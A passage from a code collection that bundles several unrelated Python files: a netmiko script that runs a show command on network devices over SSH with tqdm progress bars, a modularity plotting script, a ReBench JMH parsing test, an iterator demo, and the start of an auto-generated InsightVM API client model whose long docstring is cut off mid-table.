58311bff281c8ef4d985364018cccc1599e69c6b | fb2325de1317bed91edb428b5a5a3dad518fa8f2 | /python-scripts/tqdm_examples/3_tqdm_two_progress_bars.py | 3bb9c5f6faea3fd6c5990f581c06c8b6ea2aa9d5 | [] | no_license | gridl/python-ansible-experiments | 3b22d32db97bc55fd728ad513eb4176c3aae3482 | d7595804aa9c58f2efc92a5bf8d57faccc61cac6 | refs/heads/master | 2020-07-02T07:00:52.876940 | 2019-08-01T16:00:25 | 2019-08-01T16:00:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,375 | py | from concurrent.futures import ThreadPoolExecutor, as_completed
from pprint import pprint
import yaml
import tqdm
from netmiko import ConnectHandler
def conn_ssh_threads(function, devices, command, limit=3, progress_bar=True):
result_dict = {}
with ThreadPoolExecutor(max_workers=limit) as executor:
future_ssh = [executor.submit(function, device, command)
for device in devices]
done_tasks = as_completed(future_ssh)
if progress_bar:
success_bar = tqdm.tqdm(total=len(devices), desc='Correct'.rjust(10))
done_tasks = tqdm.tqdm(done_tasks, total=len(devices), desc='All'.rjust(10))
for task in done_tasks:
task_ok, result = task.result()
if task_ok:
success_bar.update(1)
result_dict.update(result)
success_bar.close()
return result_dict
def send_show_command(device, show_command):
result = {}
with ConnectHandler(**device) as ssh:
ssh.enable()
result[device['ip']] = ssh.send_command(show_command)
if device['ip'] == '192.168.100.1':
return False, result
else:
return True, result
if __name__ == '__main__':
with open('devices.yaml') as f:
devices = yaml.load(f)
results = conn_ssh_threads(send_show_command, devices, 'sh ip int br')
print()
| [
"[email protected]"
] | |
5ef6d164bee4bc70549b4ddbf316067cfc70872f | 5de328dace679cd32b2d32725832b8f75b2dbc11 | /utils/plot_modularity_statistics.py | 8b58be30e8bd1bf7c81b7b2e4952dfcb15b37afc | [] | no_license | hag007/emp_evaluation | 94230b4bdb296d27237fa3de4d0b9e83ea3ee897 | 52ac70f4593a97bd4a62174d5e58cc5c84ee2820 | refs/heads/master | 2021-06-13T21:28:41.609495 | 2020-09-10T09:27:23 | 2020-09-10T09:27:23 | 254,448,762 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,230 | py | import sys
sys.path.insert(0, "../")
import numpy as np
import matplotlib.pyplot as plt
import os
import constants
with open(os.path.join(constants.OUTPUT_GLOBAL_DIR, "modularity_statistics.txt")) as f:
n_modules = [int(a) for a in f.readline().strip()[1:-1].split(', ')]
n_large_modules = [int(a) for a in f.readline().strip()[1:-1].split(', ')]
modularity_scores = [float(a) for a in f.readline().strip()[1:-1].split(', ')]
prev=0
for i, cur_score in enumerate(modularity_scores):
if cur_score<prev:
stop=i
plt.subplots(figsize=(20,17))
plt.cla()
plt.plot(np.arange(len(n_modules)), n_modules, label="n_modules")
plt.plot(np.arange(len(n_large_modules)), n_large_modules, label="n_large_modules")
plt.plot(np.arange(len(modularity_scores)), [a for a in modularity_scores], label="modularity_scores")
for i, a in enumerate(modularity_scores):
plt.annotate("{}/{}".format(n_large_modules[i], n_modules[i]), (i,a))
plt.xlabel("iteration")
plt.ylabel("modularity score")
plt.title("Newman-Girvan modularity curve\nin DIP network")
plt.legend()
plt.savefig(os.path.join(constants.OUTPUT_GLOBAL_DIR, "modularity_statistics.png"))
| [
"[email protected]"
] | |
97ebd726684ddf767f28ab2bfd0e5e12f98afaa4 | 037e55864b1d7db7db05f23261d3a008df8878b1 | /rebench/tests/features/issue_32_jmh_support_test.py | 58768f9e7e5427d58e4492f1a06e24f30b9bb8e7 | [
"MIT"
] | permissive | mmtk/ReBench | 3d5f95edd8b3ef592db6c8b20d4a6bb404e615ed | 709e6f0a1be6fd7bf4b4d13d057f040254a3991b | refs/heads/master | 2022-12-18T23:58:11.944800 | 2020-08-11T12:39:31 | 2020-08-11T12:39:31 | 292,157,028 | 0 | 0 | MIT | 2020-09-02T02:21:17 | 2020-09-02T02:21:16 | null | UTF-8 | Python | false | false | 2,018 | py | # Copyright (c) 2009-2014 Stefan Marr <http://www.stefan-marr.de/>
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to
# deal in the Software without restriction, including without limitation the
# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
# sell copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in
# all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
from os.path import dirname, realpath
from unittest import TestCase
from ...interop.jmh_adapter import JMHAdapter
class Issue32JMHSupport(TestCase):
"""
Add support for JMH, a Java benchmarking harness.
"""
def setUp(self):
self._path = dirname(realpath(__file__))
with open(self._path + "/issue_32_jmh.data") as data_file:
self._data = data_file.read()
def test_parsing(self):
adapter = JMHAdapter(False)
data_points = adapter.parse_data(self._data, None, 1)
self.assertEqual(4 * 20, len(data_points))
for i in range(0, 60):
self.assertAlmostEqual(830000, data_points[i].get_total_value(),
delta=60000)
for i in range(60, 80):
self.assertAlmostEqual(86510, data_points[i].get_total_value(),
delta=4000)
| [
"[email protected]"
] | |
5781fff7ad852f1351497e6d1a8ff523c8de95b7 | 018a1d8d59c00f69b0489ce05567a2972c335ff7 | /2017_May23/generators/for_implementation.py | 713eb216a4145dbfd4067b77ea9dded1f02454a9 | [] | no_license | singhujjwal/python | f0127b604e2204a02836c95d89ee4903f760d48c | 4fb4b34a318f093bd944cd70d7f0d69dd7dfef6e | refs/heads/master | 2021-09-20T15:35:13.389400 | 2021-09-03T06:39:58 | 2021-09-03T06:39:58 | 92,157,309 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 363 | py | a = [10, 20, 30, 40, 50]
#for i in a:
# print i,
length = len(a)
iterator = iter(a)
while length:
i = iterator.next()
# Body of for loop
print i,
length -= 1
# -----------------------------
iterator = iter(a)
try:
while True:
i = iterator.next()
# Body of 'for' loop
print i,
except StopIteration: pass
| [
"[email protected]"
] | |
d34b43f5e51d81a58f173992be0c5f56dff8ceec | 98d832289b7437247ce03ea54ad3cb7b95451159 | /rapid7vmconsole/models/resources_policy_override.py | bbab02e67a7f9c1e0e4ad47bdc38a9d68a92933f | [
"MIT"
] | permissive | rmehilli-r7/vm-console-client-python | 7f02f13345dce4f4d4d85e18da7146daeefbceb9 | 069041c1c7b53c6b3d8bfdd81b974141bfca3c0c | refs/heads/master | 2020-03-23T11:20:33.364442 | 2018-08-10T20:06:37 | 2018-08-10T20:06:37 | 141,498,444 | 0 | 0 | MIT | 2018-08-08T19:58:45 | 2018-07-18T23:00:41 | Python | UTF-8 | Python | false | false | 52,137 | py | # coding: utf-8
"""
InsightVM API
# Overview This guide documents the InsightVM Application Programming Interface (API) Version 3. This API supports the Representation State Transfer (REST) design pattern. Unless noted otherwise this API accepts and produces the `application/json` media type. This API uses Hypermedia as the Engine of Application State (HATEOAS) and is hypermedia friendly. All API connections must be made to the security console using HTTPS. ## Versioning Versioning is specified in the URL and the base path of this API is: `https://<host>:<port>/api/3/`. ## Specification An <a target=\"_blank\" href=\"https://github.com/OAI/OpenAPI-Specification/blob/master/versions/2.0.md\">OpenAPI v2</a> specification (also known as Swagger 2) of this API is available. Tools such as <a target=\"_blank\" href=\"https://github.com/swagger-api/swagger-codegen\">swagger-codegen</a> can be used to generate an API client in the language of your choosing using this specification document. <p class=\"openapi\">Download the specification: <a class=\"openapi-button\" target=\"_blank\" download=\"\" href=\"/api/3/json\"> Download </a></p> ## Authentication Authorization to the API uses HTTP Basic Authorization (see <a target=\"_blank\" href=\"https://www.ietf.org/rfc/rfc2617.txt\">RFC 2617</a> for more information). Requests must supply authorization credentials in the `Authorization` header using a Base64 encoded hash of `\"username:password\"`. <!-- ReDoc-Inject: <security-definitions> --> ### 2FA This API supports two-factor authentication (2FA) by supplying an authentication token in addition to the Basic Authorization. The token is specified using the `Token` request header. To leverage two-factor authentication, this must be enabled on the console and be configured for the account accessing the API. ## Resources ### Naming Resource names represent nouns and identify the entity being manipulated or accessed. All collection resources are pluralized to indicate to the client they are interacting with a collection of multiple resources of the same type. Singular resource names are used when there exists only one resource available to interact with. The following naming conventions are used by this API: | Type | Case | | --------------------------------------------- | ------------------------ | | Resource names | `lower_snake_case` | | Header, body, and query parameters parameters | `camelCase` | | JSON fields and property names | `camelCase` | #### Collections A collection resource is a parent resource for instance resources, but can itself be retrieved and operated on independently. Collection resources use a pluralized resource name. The resource path for collection resources follow the convention: ``` /api/3/{resource_name} ``` #### Instances An instance resource is a \"leaf\" level resource that may be retrieved, optionally nested within a collection resource. Instance resources are usually retrievable with opaque identifiers. The resource path for instance resources follows the convention: ``` /api/3/{resource_name}/{instance_id}... ``` ## Verbs The following HTTP operations are supported throughout this API. The general usage of the operation and both its failure and success status codes are outlined below. | Verb | Usage | Success | Failure | | --------- | ------------------------------------------------------------------------------------- | ----------- | -------------------------------------------------------------- | | `GET` | Used to retrieve a resource by identifier, or a collection of resources by type. | `200` | `400`, `401`, `402`, `404`, `405`, `408`, `410`, `415`, `500` | | `POST` | Creates a resource with an application-specified identifier. | `201` | `400`, `401`, `404`, `405`, `408`, `413`, `415`, `500` | | `POST` | Performs a request to queue an asynchronous job. | `202` | `400`, `401`, `405`, `408`, `410`, `413`, `415`, `500` | | `PUT` | Creates a resource with a client-specified identifier. | `200` | `400`, `401`, `403`, `405`, `408`, `410`, `413`, `415`, `500` | | `PUT` | Performs a full update of a resource with a specified identifier. | `201` | `400`, `401`, `403`, `405`, `408`, `410`, `413`, `415`, `500` | | `DELETE` | Deletes a resource by identifier or an entire collection of resources. | `204` | `400`, `401`, `405`, `408`, `410`, `413`, `415`, `500` | | `OPTIONS` | Requests what operations are available on a resource. | `200` | `401`, `404`, `405`, `408`, `500` | ### Common Operations #### OPTIONS All resources respond to the `OPTIONS` request, which allows discoverability of available operations that are supported. The `OPTIONS` response returns the acceptable HTTP operations on that resource within the `Allow` header. The response is always a `200 OK` status. ### Collection Resources Collection resources can support the `GET`, `POST`, `PUT`, and `DELETE` operations. #### GET The `GET` operation invoked on a collection resource indicates a request to retrieve all, or some, of the entities contained within the collection. This also includes the optional capability to filter or search resources during the request. The response from a collection listing is a paginated document. See [hypermedia links](#section/Overview/Paging) for more information. #### POST The `POST` is a non-idempotent operation that allows for the creation of a new resource when the resource identifier is not provided by the system during the creation operation (i.e. the Security Console generates the identifier). The content of the `POST` request is sent in the request body. The response to a successful `POST` request should be a `201 CREATED` with a valid `Location` header field set to the URI that can be used to access to the newly created resource. The `POST` to a collection resource can also be used to interact with asynchronous resources. In this situation, instead of a `201 CREATED` response, the `202 ACCEPTED` response indicates that processing of the request is not fully complete but has been accepted for future processing. This request will respond similarly with a `Location` header with link to the job-oriented asynchronous resource that was created and/or queued. #### PUT The `PUT` is an idempotent operation that either performs a create with user-supplied identity, or a full replace or update of a resource by a known identifier. The response to a `PUT` operation to create an entity is a `201 Created` with a valid `Location` header field set to the URI that can be used to access to the newly created resource. `PUT` on a collection resource replaces all values in the collection. The typical response to a `PUT` operation that updates an entity is hypermedia links, which may link to related resources caused by the side-effects of the changes performed. #### DELETE The `DELETE` is an idempotent operation that physically deletes a resource, or removes an association between resources. The typical response to a `DELETE` operation is hypermedia links, which may link to related resources caused by the side-effects of the changes performed. ### Instance Resources Instance resources can support the `GET`, `PUT`, `POST`, `PATCH` and `DELETE` operations. #### GET Retrieves the details of a specific resource by its identifier. The details retrieved can be controlled through property selection and property views. The content of the resource is returned within the body of the response in the acceptable media type. #### PUT Allows for and idempotent \"full update\" (complete replacement) on a specific resource. If the resource does not exist, it will be created; if it does exist, it is completely overwritten. Any omitted properties in the request are assumed to be undefined/null. For \"partial updates\" use `POST` or `PATCH` instead. The content of the `PUT` request is sent in the request body. The identifier of the resource is specified within the URL (not the request body). The response to a successful `PUT` request is a `201 CREATED` to represent the created status, with a valid `Location` header field set to the URI that can be used to access to the newly created (or fully replaced) resource. #### POST Performs a non-idempotent creation of a new resource. The `POST` of an instance resource most commonly occurs with the use of nested resources (e.g. searching on a parent collection resource). The response to a `POST` of an instance resource is typically a `200 OK` if the resource is non-persistent, and a `201 CREATED` if there is a resource created/persisted as a result of the operation. This varies by endpoint. #### PATCH The `PATCH` operation is used to perform a partial update of a resource. `PATCH` is a non-idempotent operation that enforces an atomic mutation of a resource. Only the properties specified in the request are to be overwritten on the resource it is applied to. If a property is missing, it is assumed to not have changed. #### DELETE Permanently removes the individual resource from the system. If the resource is an association between resources, only the association is removed, not the resources themselves. A successful deletion of the resource should return `204 NO CONTENT` with no response body. This operation is not fully idempotent, as follow-up requests to delete a non-existent resource should return a `404 NOT FOUND`. ## Requests Unless otherwise indicated, the default request body media type is `application/json`. ### Headers Commonly used request headers include: | Header | Example | Purpose | | ------------------ | --------------------------------------------- | ---------------------------------------------------------------------------------------------- | | `Accept` | `application/json` | Defines what acceptable content types are allowed by the client. For all types, use `*/*`. | | `Accept-Encoding` | `deflate, gzip` | Allows for the encoding to be specified (such as gzip). | | `Accept-Language` | `en-US` | Indicates to the server the client's locale (defaults `en-US`). | | `Authorization ` | `Basic Base64(\"username:password\")` | Basic authentication | | `Token ` | `123456` | Two-factor authentication token (if enabled) | ### Dates & Times Dates and/or times are specified as strings in the ISO 8601 format(s). The following formats are supported as input: | Value | Format | Notes | | --------------------------- | ------------------------------------------------------ | ----------------------------------------------------- | | Date | YYYY-MM-DD | Defaults to 12 am UTC (if used for a date & time | | Date & time only | YYYY-MM-DD'T'hh:mm:ss[.nnn] | Defaults to UTC | | Date & time in UTC | YYYY-MM-DD'T'hh:mm:ss[.nnn]Z | | | Date & time w/ offset | YYYY-MM-DD'T'hh:mm:ss[.nnn][+|-]hh:mm | | | Date & time w/ zone-offset | YYYY-MM-DD'T'hh:mm:ss[.nnn][+|-]hh:mm[<zone-id>] | | ### Timezones Timezones are specified in the regional zone format, such as `\"America/Los_Angeles\"`, `\"Asia/Tokyo\"`, or `\"GMT\"`. ### Paging Pagination is supported on certain collection resources using a combination of two query parameters, `page` and `size`. As these are control parameters, they are prefixed with the underscore character. The page parameter dictates the zero-based index of the page to retrieve, and the `size` indicates the size of the page. For example, `/resources?page=2&size=10` will return page 3, with 10 records per page, giving results 21-30. The maximum page size for a request is 500. ### Sorting Sorting is supported on paginated resources with the `sort` query parameter(s). The sort query parameter(s) supports identifying a single or multi-property sort with a single or multi-direction output. The format of the parameter is: ``` sort=property[,ASC|DESC]... ``` Therefore, the request `/resources?sort=name,title,DESC` would return the results sorted by the name and title descending, in that order. The sort directions are either ascending `ASC` or descending `DESC`. With single-order sorting, all properties are sorted in the same direction. To sort the results with varying orders by property, multiple sort parameters are passed. For example, the request `/resources?sort=name,ASC&sort=title,DESC` would sort by name ascending and title descending, in that order. ## Responses The following response statuses may be returned by this API. | Status | Meaning | Usage | | ------ | ------------------------ |------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | `200` | OK | The operation performed without error according to the specification of the request, and no more specific 2xx code is suitable. | | `201` | Created | A create request has been fulfilled and a resource has been created. The resource is available as the URI specified in the response, including the `Location` header. | | `202` | Accepted | An asynchronous task has been accepted, but not guaranteed, to be processed in the future. | | `400` | Bad Request | The request was invalid or cannot be otherwise served. The request is not likely to succeed in the future without modifications. | | `401` | Unauthorized | The user is unauthorized to perform the operation requested, or does not maintain permissions to perform the operation on the resource specified. | | `403` | Forbidden | The resource exists to which the user has access, but the operating requested is not permitted. | | `404` | Not Found | The resource specified could not be located, does not exist, or an unauthenticated client does not have permissions to a resource. | | `405` | Method Not Allowed | The operations may not be performed on the specific resource. Allowed operations are returned and may be performed on the resource. | | `408` | Request Timeout | The client has failed to complete a request in a timely manner and the request has been discarded. | | `413` | Request Entity Too Large | The request being provided is too large for the server to accept processing. | | `415` | Unsupported Media Type | The media type is not supported for the requested resource. | | `500` | Internal Server Error | An internal and unexpected error has occurred on the server at no fault of the client. | ### Security The response statuses 401, 403 and 404 need special consideration for security purposes. As necessary, error statuses and messages may be obscured to strengthen security and prevent information exposure. The following is a guideline for privileged resource response statuses: | Use Case | Access | Resource | Permission | Status | | ------------------------------------------------------------------ | ------------------ |------------------- | ------------ | ------------ | | Unauthenticated access to an unauthenticated resource. | Unauthenticated | Unauthenticated | Yes | `20x` | | Unauthenticated access to an authenticated resource. | Unauthenticated | Authenticated | No | `401` | | Unauthenticated access to an authenticated resource. | Unauthenticated | Non-existent | No | `401` | | Authenticated access to a unauthenticated resource. | Authenticated | Unauthenticated | Yes | `20x` | | Authenticated access to an authenticated, unprivileged resource. | Authenticated | Authenticated | No | `404` | | Authenticated access to an authenticated, privileged resource. | Authenticated | Authenticated | Yes | `20x` | | Authenticated access to an authenticated, non-existent resource | Authenticated | Non-existent | Yes | `404` | ### Headers Commonly used response headers include: | Header | Example | Purpose | | -------------------------- | --------------------------------- | --------------------------------------------------------------- | | `Allow` | `OPTIONS, GET` | Defines the allowable HTTP operations on a resource. | | `Cache-Control` | `no-store, must-revalidate` | Disables caching of resources (as they are all dynamic). | | `Content-Encoding` | `gzip` | The encoding of the response body (if any). | | `Location` | | Refers to the URI of the resource created by a request. | | `Transfer-Encoding` | `chunked` | Specified the encoding used to transform response. | | `Retry-After` | 5000 | Indicates the time to wait before retrying a request. | | `X-Content-Type-Options` | `nosniff` | Disables MIME type sniffing. | | `X-XSS-Protection` | `1; mode=block` | Enables XSS filter protection. | | `X-Frame-Options` | `SAMEORIGIN` | Prevents rendering in a frame from a different origin. | | `X-UA-Compatible` | `IE=edge,chrome=1` | Specifies the browser mode to render in. | ### Format When `application/json` is returned in the response body it is always pretty-printed (indented, human readable output). Additionally, gzip compression/encoding is supported on all responses. #### Dates & Times Dates or times are returned as strings in the ISO 8601 'extended' format. When a date and time is returned (instant) the value is converted to UTC. For example: | Value | Format | Example | | --------------- | ------------------------------ | --------------------- | | Date | `YYYY-MM-DD` | 2017-12-03 | | Date & Time | `YYYY-MM-DD'T'hh:mm:ss[.nnn]Z` | 2017-12-03T10:15:30Z | #### Content In some resources a Content data type is used. This allows for multiple formats of representation to be returned within resource, specifically `\"html\"` and `\"text\"`. The `\"text\"` property returns a flattened representation suitable for output in textual displays. The `\"html\"` property returns an HTML fragment suitable for display within an HTML element. Note, the HTML returned is not a valid stand-alone HTML document. #### Paging The response to a paginated request follows the format: ```json { resources\": [ ... ], \"page\": { \"number\" : ..., \"size\" : ..., \"totalResources\" : ..., \"totalPages\" : ... }, \"links\": [ \"first\" : { \"href\" : \"...\" }, \"prev\" : { \"href\" : \"...\" }, \"self\" : { \"href\" : \"...\" }, \"next\" : { \"href\" : \"...\" }, \"last\" : { \"href\" : \"...\" } ] } ``` The `resources` property is an array of the resources being retrieved from the endpoint, each which should contain at minimum a \"self\" relation hypermedia link. The `page` property outlines the details of the current page and total possible pages. The object for the page includes the following properties: - number - The page number (zero-based) of the page returned. - size - The size of the pages, which is less than or equal to the maximum page size. - totalResources - The total amount of resources available across all pages. - totalPages - The total amount of pages. The last property of the paged response is the `links` array, which contains all available hypermedia links. For paginated responses, the \"self\", \"next\", \"previous\", \"first\", and \"last\" links are returned. The \"self\" link must always be returned and should contain a link to allow the client to replicate the original request against the collection resource in an identical manner to that in which it was invoked. The \"next\" and \"previous\" links are present if either or both there exists a previous or next page, respectively. The \"next\" and \"previous\" links have hrefs that allow \"natural movement\" to the next page, that is all parameters required to move the next page are provided in the link. The \"first\" and \"last\" links provide references to the first and last pages respectively. Requests outside the boundaries of the pageable will result in a `404 NOT FOUND`. Paginated requests do not provide a \"stateful cursor\" to the client, nor does it need to provide a read consistent view. Records in adjacent pages may change while pagination is being traversed, and the total number of pages and resources may change between requests within the same filtered/queries resource collection. #### Property Views The \"depth\" of the response of a resource can be configured using a \"view\". All endpoints supports two views that can tune the extent of the information returned in the resource. The supported views are `summary` and `details` (the default). View are specified using a query parameter, in this format: ```bash /<resource>?view={viewName} ``` #### Error Any error responses can provide a response body with a message to the client indicating more information (if applicable) to aid debugging of the error. All 40x and 50x responses will return an error response in the body. The format of the response is as follows: ```json { \"status\": <statusCode>, \"message\": <message>, \"links\" : [ { \"rel\" : \"...\", \"href\" : \"...\" } ] } ``` The `status` property is the same as the HTTP status returned in the response, to ease client parsing. The message property is a localized message in the request client's locale (if applicable) that articulates the nature of the error. The last property is the `links` property. This may contain additional [hypermedia links](#section/Overview/Authentication) to troubleshoot. #### Search Criteria <a section=\"section/Responses/SearchCriteria\"></a> Multiple resources make use of search criteria to match assets. Search criteria is an array of search filters. Each search filter has a generic format of: ```json { \"field\": \"<field-name>\", \"operator\": \"<operator>\", [\"value\": \"<value>\",] [\"lower\": \"<value>\",] [\"upper\": \"<value>\"] } ``` Every filter defines two required properties `field` and `operator`. The field is the name of an asset property that is being filtered on. The operator is a type and property-specific operating performed on the filtered property. The valid values for fields and operators are outlined in the table below. Every filter also defines one or more values that are supplied to the operator. The valid values vary by operator and are outlined below. ##### Fields The following table outlines the search criteria fields and the available operators: | Field | Operators | | --------------------------------- | ------------------------------------------------------------------------------------------------------------------------------ | | `alternate-address-type` | `in` | | `container-image` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` ` is like` ` not like` | | `container-status` | `is` ` is not` | | `containers` | `are` | | `criticality-tag` | `is` ` is not` ` is greater than` ` is less than` ` is applied` ` is not applied` | | `custom-tag` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` ` is applied` ` is not applied` | | `cve` | `is` ` is not` ` contains` ` does not contain` | | `cvss-access-complexity` | `is` ` is not` | | `cvss-authentication-required` | `is` ` is not` | | `cvss-access-vector` | `is` ` is not` | | `cvss-availability-impact` | `is` ` is not` | | `cvss-confidentiality-impact` | `is` ` is not` | | `cvss-integrity-impact` | `is` ` is not` | | `cvss-v3-confidentiality-impact` | `is` ` is not` | | `cvss-v3-integrity-impact` | `is` ` is not` | | `cvss-v3-availability-impact` | `is` ` is not` | | `cvss-v3-attack-vector` | `is` ` is not` | | `cvss-v3-attack-complexity` | `is` ` is not` | | `cvss-v3-user-interaction` | `is` ` is not` | | `cvss-v3-privileges-required` | `is` ` is not` | | `host-name` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` ` is empty` ` is not empty` ` is like` ` not like` | | `host-type` | `in` ` not in` | | `ip-address` | `is` ` is not` ` in range` ` not in range` ` is like` ` not like` | | `ip-address-type` | `in` ` not in` | | `last-scan-date` | `is-on-or-before` ` is on or after` ` is between` ` is earlier than` ` is within the last` | | `location-tag` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` ` is applied` ` is not applied` | | `mobile-device-last-sync-time` | `is-within-the-last` ` is earlier than` | | `open-ports` | `is` ` is not` ` in range` | | `operating-system` | `contains` ` does not contain` ` is empty` ` is not empty` | | `owner-tag` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` ` is applied` ` is not applied` | | `pci-compliance` | `is` | | `risk-score` | `is` ` is not` ` in range` ` greater than` ` less than` | | `service-name` | `contains` ` does not contain` | | `site-id` | `in` ` not in` | | `software` | `contains` ` does not contain` | | `vAsset-cluster` | `is` ` is not` ` contains` ` does not contain` ` starts with` | | `vAsset-datacenter` | `is` ` is not` | | `vAsset-host-name` | `is` ` is not` ` contains` ` does not contain` ` starts with` | | `vAsset-power-state` | `in` ` not in` | | `vAsset-resource-pool-path` | `contains` ` does not contain` | | `vulnerability-assessed` | `is-on-or-before` ` is on or after` ` is between` ` is earlier than` ` is within the last` | | `vulnerability-category` | `is` ` is not` ` starts with` ` ends with` ` contains` ` does not contain` | | `vulnerability-cvss-v3-score` | `is` ` is not` | | `vulnerability-cvss-score` | `is` ` is not` ` in range` ` is greater than` ` is less than` | | `vulnerability-exposures` | `includes` ` does not include` | | `vulnerability-title` | `contains` ` does not contain` ` is` ` is not` ` starts with` ` ends with` | | `vulnerability-validated-status` | `are` | ##### Enumerated Properties The following fields have enumerated values: | Field | Acceptable Values | | ----------------------------------------- | ------------------------------------------------------------------------------------------------------------- | | `alternate-address-type` | 0=IPv4, 1=IPv6 | | `containers` | 0=present, 1=not present | | `container-status` | `created` `running` `paused` `restarting` `exited` `dead` `unknown` | | `cvss-access-complexity` | <ul><li><code>L</code> = Low</li><li><code>M</code> = Medium</li><li><code>H</code> = High</li></ul> | | `cvss-integrity-impact` | <ul><li><code>N</code> = None</li><li><code>P</code> = Partial</li><li><code>C</code> = Complete</li></ul> | | `cvss-confidentiality-impact` | <ul><li><code>N</code> = None</li><li><code>P</code> = Partial</li><li><code>C</code> = Complete</li></ul> | | `cvss-availability-impact` | <ul><li><code>N</code> = None</li><li><code>P</code> = Partial</li><li><code>C</code> = Complete</li></ul> | | `cvss-access-vector` | <ul><li><code>L</code> = Local</li><li><code>A</code> = Adjacent</li><li><code>N</code> = Network</li></ul> | | `cvss-authentication-required` | <ul><li><code>N</code> = None</li><li><code>S</code> = Single</li><li><code>M</code> = Multiple</li></ul> | | `cvss-v3-confidentiality-impact` | <ul><li><code>L</code> = Local</li><li><code>L</code> = Low</li><li><code>N</code> = None</li><li><code>H</code> = High</li></ul> | | `cvss-v3-integrity-impact` | <ul><li><code>L</code> = Local</li><li><code>L</code> = Low</li><li><code>N</code> = None</li><li><code>H</code> = High</li></ul> | | `cvss-v3-availability-impact` | <ul><li><code>N</code> = None</li><li><code>L</code> = Low</li><li><code>H</code> = High</li></ul> | | `cvss-v3-attack-vector` | <ul><li><code>N</code> = Network</li><li><code>A</code> = Adjacent</li><li><code>L</code> = Local</li><li><code>P</code> = Physical</li></ul> | | `cvss-v3-attack-complexity` | <ul><li><code>L</code> = Low</li><li><code>H</code> = High</li></ul> | | `cvss-v3-user-interaction` | <ul><li><code>N</code> = None</li><li><code>R</code> = Required</li></ul> | | `cvss-v3-privileges-required` | <ul><li><code>N</code> = None</li><li><code>L</code> = Low</li><li><code>H</code> = High</li></ul> | | `host-type` | 0=Unknown, 1=Guest, 2=Hypervisor, 3=Physical, 4=Mobile | | `ip-address-type` | 0=IPv4, 1=IPv6 | | `pci-compliance` | 0=fail, 1=pass | | `vulnerability-validated-status` | 0=present, 1=not present | ##### Operator Properties <a section=\"section/Responses/SearchCriteria/OperatorProperties\"></a> The following table outlines which properties are required for each operator and the appropriate data type(s): | Operator | `value` | `lower` | `upper` | | ----------------------|-----------------------|-----------------------|-----------------------| | `are` | `string` | | | | `contains` | `string` | | | | `does-not-contain` | `string` | | | | `ends with` | `string` | | | | `in` | `Array[ string ]` | | | | `in-range` | | `numeric` | `numeric` | | `includes` | `Array[ string ]` | | | | `is` | `string` | | | | `is-applied` | | | | | `is-between` | | `numeric` | `numeric` | | `is-earlier-than` | `numeric` | | | | `is-empty` | | | | | `is-greater-than` | `numeric` | | | | `is-on-or-after` | `string` (yyyy-MM-dd) | | | | `is-on-or-before` | `string` (yyyy-MM-dd) | | | | `is-not` | `string` | | | | `is-not-applied` | | | | | `is-not-empty` | | | | | `is-within-the-last` | `numeric` | | | | `less-than` | `string` | | | | `like` | `string` | | | | `not-contains` | `string` | | | | `not-in` | `Array[ string ]` | | | | `not-in-range` | | `numeric` | `numeric` | | `not-like` | `string` | | | | `starts-with` | `string` | | | #### Discovery Connection Search Criteria <a section=\"section/Responses/DiscoverySearchCriteria\"></a> Dynamic sites make use of search criteria to match assets from a discovery connection. Search criteria is an array of search filters. Each search filter has a generic format of: ```json { \"field\": \"<field-name>\", \"operator\": \"<operator>\", [\"value\": \"<value>\",] [\"lower\": \"<value>\",] [\"upper\": \"<value>\"] } ``` Every filter defines two required properties `field` and `operator`. The field is the name of an asset property that is being filtered on. The list of supported fields vary depending on the type of discovery connection configured for the dynamic site (e.g vSphere, ActiveSync, etc.). The operator is a type and property-specific operating performed on the filtered property. The valid values for fields outlined in the tables below and are grouped by the type of connection. Every filter also defines one or more values that are supplied to the operator. See <a href=\"#section/Responses/SearchCriteria/OperatorProperties\">Search Criteria Operator Properties</a> for more information on the valid values for each operator. ##### Fields (ActiveSync) This section documents search criteria information for ActiveSync discovery connections. The discovery connections must be one of the following types: `\"activesync-ldap\"`, `\"activesync-office365\"`, or `\"activesync-powershell\"`. The following table outlines the search criteria fields and the available operators for ActiveSync connections: | Field | Operators | | --------------------------------- | ------------------------------------------------------------- | | `last-sync-time` | `is-within-the-last` ` is-earlier-than` | | `operating-system` | `contains` ` does-not-contain` | | `user` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Fields (AWS) This section documents search criteria information for AWS discovery connections. The discovery connections must be the type `\"aws\"`. The following table outlines the search criteria fields and the available operators for AWS connections: | Field | Operators | | ----------------------- | ------------------------------------------------------------- | | `availability-zone` | `contains` ` does-not-contain` | | `guest-os-family` | `contains` ` does-not-contain` | | `instance-id` | `contains` ` does-not-contain` | | `instance-name` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | | `instance-state` | `in` ` not-in` | | `instance-type` | `in` ` not-in` | | `ip-address` | `in-range` ` not-in-range` ` is` ` is-not` | | `region` | `in` ` not-in` | | `vpc-id` | `is` ` is-not` ` contains` ` does-not-contain` ` starts-with` | ##### Fields (DHCP) This section documents search criteria information for DHCP discovery connections. The discovery connections must be the type `\"dhcp\"`. The following table outlines the search criteria fields and the available operators for DHCP connections: | Field | Operators | | --------------- | 